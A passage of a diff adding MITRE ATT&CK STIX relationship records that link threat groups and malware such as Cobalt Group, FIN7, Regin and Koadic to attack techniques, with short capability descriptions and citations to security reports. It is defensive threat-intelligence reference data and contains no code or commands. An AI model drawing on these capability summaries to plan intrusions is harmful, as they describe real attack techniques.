"https://www.proofpoint.com/us/threat-insight/post/microsoft-word-intruder-integrates-cve-2017-0199-utilized-cobalt-group-target" + }, + { + "source_name": "RiskIQ Cobalt Nov 2017", + "description": "Klijnsma, Y.. (2017, November 28). Gaffe Reveals Full List of Targets in Spear Phishing Attack Using Cobalt Strike Against Financial Institutions. Retrieved October 10, 2018.", + "url": "https://www.riskiq.com/blog/labs/cobalt-strike/" + }, + { + "source_name": "RiskIQ Cobalt Jan 2018", + "description": "Klijnsma, Y.. (2018, January 16). First Activities of Cobalt Group in 2018: Spear Phishing Russian Banks. Retrieved October 10, 2018.", + "url": "https://www.riskiq.com/blog/labs/cobalt-group-spear-phishing-russian-banks/" + }, + { + "source_name": "Crowdstrike Global Threat Report Feb 2018", + "description": "CrowdStrike. (2018, February 26). CrowdStrike 2018 Global Threat Report. Retrieved October 10, 2018.", + "url": "https://crowdstrike.lookbookhq.com/global-threat-report-2018-web/cs-2018-global-threat-report" + }, + { + "source_name": "TrendMicro Cobalt Group Nov 2017", + "description": "Giagone, R., Bermejo, L., and Yarochkin, F. (2017, November 20). Cobalt Strikes Again: Spam Runs Use Macros and CVE-2017-8759 Exploit Against Russian Banks. Retrieved March 7, 2019.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--44259d7d-e156-4e09-a401-ff62f0706cdd", + "description": "[dsquery](https://attack.mitre.org/software/S0105) can be used to gather information on user accounts within a domain.(Citation: TechNet Dsquery)", + "target_ref": "attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af", + "modified": "2020-03-18T19:46:42.380Z", + "source_ref": "tool--38952eac-cb1b-4a71-bad2-ee8223a1c8fe", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "https://technet.microsoft.com/en-us/library/cc732952.aspx", + "description": "Microsoft. (n.d.). Dsquery. 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Retrieved April 17, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--40c202ae-fd92-4506-b72a-5fb0e7bcf99a", + "description": "[Trojan.Karagany](https://attack.mitre.org/software/S0094) samples sometimes use common binary packers such as UPX and Aspack on top of a custom Delphi binary packer.(Citation: Symantec Dragonfly)(Citation: Secureworks Karagany July 2019)", + "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062", + "modified": "2020-08-13T14:58:25.428Z", + "source_ref": "malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf", + "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.", + "source_name": "Symantec Dragonfly" + }, + { + "url": "https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector", + "description": "Secureworks. (2019, July 24). Updated Karagany Malware Targets Energy Sector. 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(2017, March 7). FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings. Retrieved March 8, 2017.", + "source_name": "FireEye FIN7 March 2017" + }, + { + "source_name": "FireEye FIN7 Aug 2018", + "description": "Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html" + }, + { + "source_name": "DOJ FIN7 Aug 2018", + "description": "Department of Justice. (2018, August 01). HOW FIN7 ATTACKED AND STOLE DATA. Retrieved August 24, 2018.", + "url": "https://www.justice.gov/opa/press-release/file/1084361/download" + }, + { + "url": "https://securityintelligence.com/posts/ransomware-2020-attack-trends-new-techniques-affecting-organizations-worldwide/", + "description": "Singleton, C. and Kiefer, C. (2020, September 28). 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Retrieved April 13, 2017.", + "source_name": "PWC Cloud Hopper Technical Annex April 2017" + }, + { + "source_name": "FireEye APT10 April 2017", + "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. 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Retrieved December 1, 2014.", + "source_name": "Kaspersky Regin" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--1b45f3b5-b7a4-4424-a8ff-1b1f1c1a55d9", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has locally staged encrypted archives for later exfiltration efforts.(Citation: SecureWorks BRONZE UNION June 2017)", + "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c", + "modified": "2020-03-17T15:07:32.795Z", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-05-31T21:33:27.062Z", + "external_references": [ + { + "source_name": "SecureWorks BRONZE UNION June 2017", + "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. 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Retrieved August 17, 2016.", + "url": "http://www.symantec.com/connect/blogs/patchwork-cyberespionage-group-expands-targets-governments-wide-range-industries" + }, + { + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "source_name": "TrendMicro Patchwork Dec 2017" + }, + { + "source_name": "Volexity Patchwork June 2018", + "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.", + "url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/" + }, + { + "url": "https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/", + "description": "Hinchliffe, A. and Falcone, R. (2020, May 11). Updated BackConfig Malware Targeting Government and Military Organizations in South Asia. Retrieved June 17, 2020.", + "source_name": "Unit 42 BackConfig May 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--acb06172-23a6-4190-a568-63da13491e6e", + "description": "[OopsIE](https://attack.mitre.org/software/S0264) creates and uses a VBScript as part of its persistent execution.(Citation: Unit 42 OopsIE! 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Retrieved September 24, 2018.", + "source_name": "Unit 42 OilRig Sept 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--103f1ad4-feec-4be3-9da7-ee0b2503c318", + "description": "C2 traffic from [ADVSTORESHELL](https://attack.mitre.org/software/S0045) is encrypted, then encoded with Base64 encoding.(Citation: Kaspersky Sofacy)", + "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c", + "modified": "2020-03-20T18:02:42.353Z", + "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). 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Retrieved December 10, 2015.", + "source_name": "Kaspersky Sofacy" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--512e16e9-634c-45d3-b569-c25a3072bbdc", + "description": "[FLASHFLOOD](https://attack.mitre.org/software/S0036) searches for interesting files (either a default or customized set of file extensions) on the local system and removable media.(Citation: FireEye APT30)", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "modified": "2020-03-16T23:56:46.434Z", + "source_ref": "malware--43213480-78f7-4fb3-976f-d48f5f6a4c2a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf", + "description": "FireEye Labs. (2015, April). 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Retrieved February 10, 2016.", + "source_name": "Scarlet Mimic Jan 2016" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--acca43ee-1e88-4d39-a953-7626173a89b2", + "description": "[Helminth](https://attack.mitre.org/software/S0170) can provide a remote shell. One version of [Helminth](https://attack.mitre.org/software/S0170) uses batch scripting.(Citation: Palo Alto OilRig May 2016)", + "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", + "modified": "2020-03-20T17:24:36.513Z", + "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-01-16T16:13:52.465Z", + "external_references": [ + { + "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/", + "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", + "source_name": "Palo Alto OilRig May 2016" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--93fc3086-d2c0-4b4d-8a69-278f15176739", + "description": "[BADNEWS](https://attack.mitre.org/software/S0128) copies files with certain extensions from USB devices to\na predefined directory.(Citation: TrendMicro Patchwork Dec 2017)", + "target_ref": "attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec", + "modified": "2020-03-16T15:59:20.528Z", + "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf", + "description": "Lunghi, D., et al. (2017, December). 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Retrieved April 24, 2017.", + "source_name": "FireEye FIN7 April 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--9c4a8336-5f5f-4e58-b00d-b6bf1c59ec03", + "description": "[MoonWind](https://attack.mitre.org/software/S0149) saves information from its keylogging routine as a .zip file in the present working directory.(Citation: Palo Alto MoonWind March 2017)", + "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c", + "modified": "2020-03-17T00:29:46.626Z", + "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/", + "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.", + "source_name": "Palo Alto MoonWind March 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--d7cdf423-5fed-4402-b970-f6cf2d8df2bb", + "description": "[KEYMARBLE](https://attack.mitre.org/software/S0271) uses a customized XOR algorithm to encrypt C2 communications.(Citation: US-CERT KEYMARBLE Aug 2018)", + "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", + "modified": "2020-03-20T02:14:26.687Z", + "source_ref": "malware--11e36d5b-6a92-4bf9-8eb7-85eb24f59e22", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-221A", + "description": "US-CERT. (2018, August 09). MAR-10135536-17 \u2013 North Korean Trojan: KEYMARBLE. Retrieved August 16, 2018.", + "source_name": "US-CERT KEYMARBLE Aug 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--28d4a66d-2b1f-4662-9e8e-4ba8ff4bcaf0", + "description": "[CrossRAT](https://attack.mitre.org/software/S0235) is capable of taking screen captures.(Citation: Lookout Dark Caracal Jan 2018)", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "modified": "2020-01-17T19:36:09.450Z", + "source_ref": "malware--a5e91d50-24fa-44ec-9894-39a88f658cea", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf", + "description": "Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. 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Retrieved September 17, 2015.", + "source_name": "FireEye APT29" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a2a31eb7-0b22-416c-b12d-e52e5f37f8b8", + "description": "[BADNEWS](https://attack.mitre.org/software/S0128) is capable of executing commands via cmd.exe.(Citation: Forcepoint Monsoon)(Citation: TrendMicro Patchwork Dec 2017)", + "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", + "modified": "2020-03-17T19:03:08.971Z", + "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf", + "description": "Settle, A., et al. (2016, August 8). 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Retrieved July 10, 2018.", + "source_name": "TrendMicro Patchwork Dec 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--7ebe873c-07f5-43a7-a59f-9305f9ec55a5", + "description": "[Pupy](https://attack.mitre.org/software/S0192) can execute Lazagne as well as [Mimikatz](https://attack.mitre.org/software/S0002) using PowerShell.(Citation: GitHub Pupy)", + "target_ref": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90", + "modified": "2020-03-20T00:08:19.460Z", + "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-04-18T17:59:24.739Z", + "external_references": [ + { + "source_name": "GitHub Pupy", + "description": "Nicolas Verdier. (n.d.). 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Retrieved May 22, 2018.", + "source_name": "RATANKBA" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--72cf9e20-cff4-49e2-8ea6-e212d473a8f5", + "description": "The [Regin](https://attack.mitre.org/software/S0019) malware platform can use ICMP to communicate between infected computers.(Citation: Kaspersky Regin)", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00", + "modified": "2020-06-29T01:54:53.401Z", + "source_ref": "malware--4c59cce8-cb48-4141-b9f1-f646edfaadb0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070305/Kaspersky_Lab_whitepaper_Regin_platform_eng.pdf", + "description": "Kaspersky Lab's Global Research and Analysis Team. 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Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", + "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f73df541-6b55-42d1-aec3-53660fda1508", + "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) has used various batch scripts to establish C2 and download additional files. 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Gamaredon group grows its game. Retrieved June 16, 2020.", + "source_name": "ESET Gamaredon June 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--25cb2c8f-79d2-4157-8329-fb86caaca0c3", + "description": "[LOWBALL](https://attack.mitre.org/software/S0042) uses the Dropbox API to request two files, one of which is the same file as the one dropped by the malicious email attachment. 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Retrieved December 4, 2015.", + "source_name": "FireEye admin@338" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--1770cc28-c49c-4b70-b4d0-6976efaede16", + "description": "A [Patchwork](https://attack.mitre.org/groups/G0040) payload deletes Resiliency Registry keys created by Microsoft Office applications in an apparent effort to trick users into thinking there were no issues during application runs.(Citation: TrendMicro Patchwork Dec 2017)", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "modified": "2019-07-11T13:53:05.998Z", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. 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Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--106aae81-fab1-42b3-97b0-4f0c1d67c896", + "description": "[Emissary](https://attack.mitre.org/software/S0082) injects its DLL file into a newly spawned Internet Explorer process.(Citation: Lotus Blossom Dec 2015)", + "target_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945", + "modified": "2020-03-16T15:50:20.071Z", + "source_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "http://researchcenter.paloaltonetworks.com/2015/12/attack-on-french-diplomat-linked-to-operation-lotus-blossom/", + "description": "Falcone, R. and Miller-Osborn, J.. (2015, December 18). Attack on French Diplomat Linked to Operation Lotus Blossom. Retrieved February 15, 2016.", + "source_name": "Lotus Blossom Dec 2015" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--1567d198-b2b9-4eda-a2e2-ba5dd4e51547", + "description": "[Koadic](https://attack.mitre.org/software/S0250) can use MSHTA to serve additional payloads.(Citation: Github Koadic)", + "target_ref": "attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade", + "modified": "2020-03-16T16:55:03.565Z", + "source_ref": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://github.com/zerosum0x0/koadic", + "description": "Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018.", + "source_name": "Github Koadic" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--52cf8793-2f13-45c2-8274-1a9bf5d6224a", + "description": "[Regin](https://attack.mitre.org/software/S0019) leveraged several compromised universities as proxies to obscure its origin.(Citation: Kaspersky Regin)", + "target_ref": "attack-pattern--69b8fd78-40e8-4600-ae4d-662c9d7afdb3", + "modified": "2020-06-29T01:54:53.403Z", + "source_ref": "malware--4c59cce8-cb48-4141-b9f1-f646edfaadb0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070305/Kaspersky_Lab_whitepaper_Regin_platform_eng.pdf", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, November 24). THE REGIN PLATFORM NATION-STATE OWNAGE OF GSM NETWORKS. Retrieved December 1, 2014.", + "source_name": "Kaspersky Regin" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e8d2c3f1-7c86-438c-bead-6a86f9a36463", + "description": "A version of [XTunnel](https://attack.mitre.org/software/S0117) introduced in July 2015 obfuscated the binary using opaque predicates and other techniques in a likely attempt to obfuscate it and bypass security products.(Citation: ESET Sednit Part 2)", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "modified": "2019-04-19T18:36:32.001Z", + "source_ref": "malware--7343e208-7cab-45f2-a47b-41ba5e2f0fab", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "source_name": "ESET Sednit Part 2", + "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--7d8e5c4d-afdb-43f9-bfcf-7ed674a516e3", + "description": "[PoisonIvy](https://attack.mitre.org/software/S0012) stages collected data in a text file.(Citation: Symantec Darkmoon Aug 2005)", + "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c", + "modified": "2020-03-17T14:44:54.848Z", + "source_ref": "malware--b42378e0-f147-496f-992a-26a49705395b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2005-081910-3934-99", + "description": "Hayashi, K. (2005, August 18). Backdoor.Darkmoon. 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Retrieved July 17, 2018.", + "source_name": "Unit 42 Kazuar May 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--3264e1db-0f54-4049-a45c-3a03a24709aa", + "description": "[XTunnel](https://attack.mitre.org/software/S0117) has been used to execute remote commands.(Citation: Crowdstrike DNC June 2016)", + "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", + "modified": "2020-03-19T21:51:30.341Z", + "source_ref": "malware--7343e208-7cab-45f2-a47b-41ba5e2f0fab", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/", + "description": "Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. 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Retrieved June 6, 2018.", + "source_name": "US-CERT TA18-074A" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--bfb1e467-dffc-463b-9f38-a3fafbb9d036", + "description": "[Leafminer](https://attack.mitre.org/groups/G0077) used Microsoft\u2019s Sysinternals tools to gather detailed information about remote systems.(Citation: Symantec Leafminer July 2018)", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "modified": "2019-03-25T14:12:13.492Z", + "source_ref": "intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "Symantec Leafminer July 2018", + "description": "Symantec Security Response. (2018, July 25). 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Retrieved May 1, 2015.", + "source_name": "FireEye APT30" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--c9660ab0-33d4-434d-833f-cc1969b04f7a", + "description": "(Citation: Cybereason Cobalt Kitty 2017)", + "target_ref": "tool--30489451-5886-4c46-90c9-0dff9adc5252", + "modified": "2019-07-17T13:11:38.961Z", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-01-31T01:07:58.805Z", + "external_references": [ + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. 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Retrieved July 3, 2018.", + "source_name": "ESET Turla Mosquito Jan 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--7cf7d162-a34f-4951-a643-5bf959283f6b", + "description": "[Trojan.Karagany](https://attack.mitre.org/software/S0094) can create directories to store plugin output and stage data for exfiltration.(Citation: Symantec Dragonfly)(Citation: Secureworks Karagany July 2019)", + "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c", + "modified": "2020-08-13T14:05:45.255Z", + "source_ref": "malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf", + "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.", + "source_name": "Symantec Dragonfly" + }, + { + "url": "https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector", + "description": "Secureworks. (2019, July 24). Updated Karagany Malware Targets Energy Sector. Retrieved August 12, 2020.", + "source_name": "Secureworks Karagany July 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--2d822996-4574-402d-8d0f-1cfc0e963850", + "description": "[Kwampirs](https://attack.mitre.org/software/S0236) decrypts and extracts a copy of its main DLL payload when executing.(Citation: Symantec Orangeworm April 2018)", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "modified": "2020-03-18T00:52:18.994Z", + "source_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia", + "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.", + "source_name": "Symantec Orangeworm April 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--85ca1e00-24c4-403e-8aff-9890f91e9b78", + "description": "[Emissary](https://attack.mitre.org/software/S0082) has the capability to download files from the C2 server.(Citation: Lotus Blossom Dec 2015)", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "modified": "2020-03-16T15:50:20.119Z", + "source_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "http://researchcenter.paloaltonetworks.com/2015/12/attack-on-french-diplomat-linked-to-operation-lotus-blossom/", + "description": 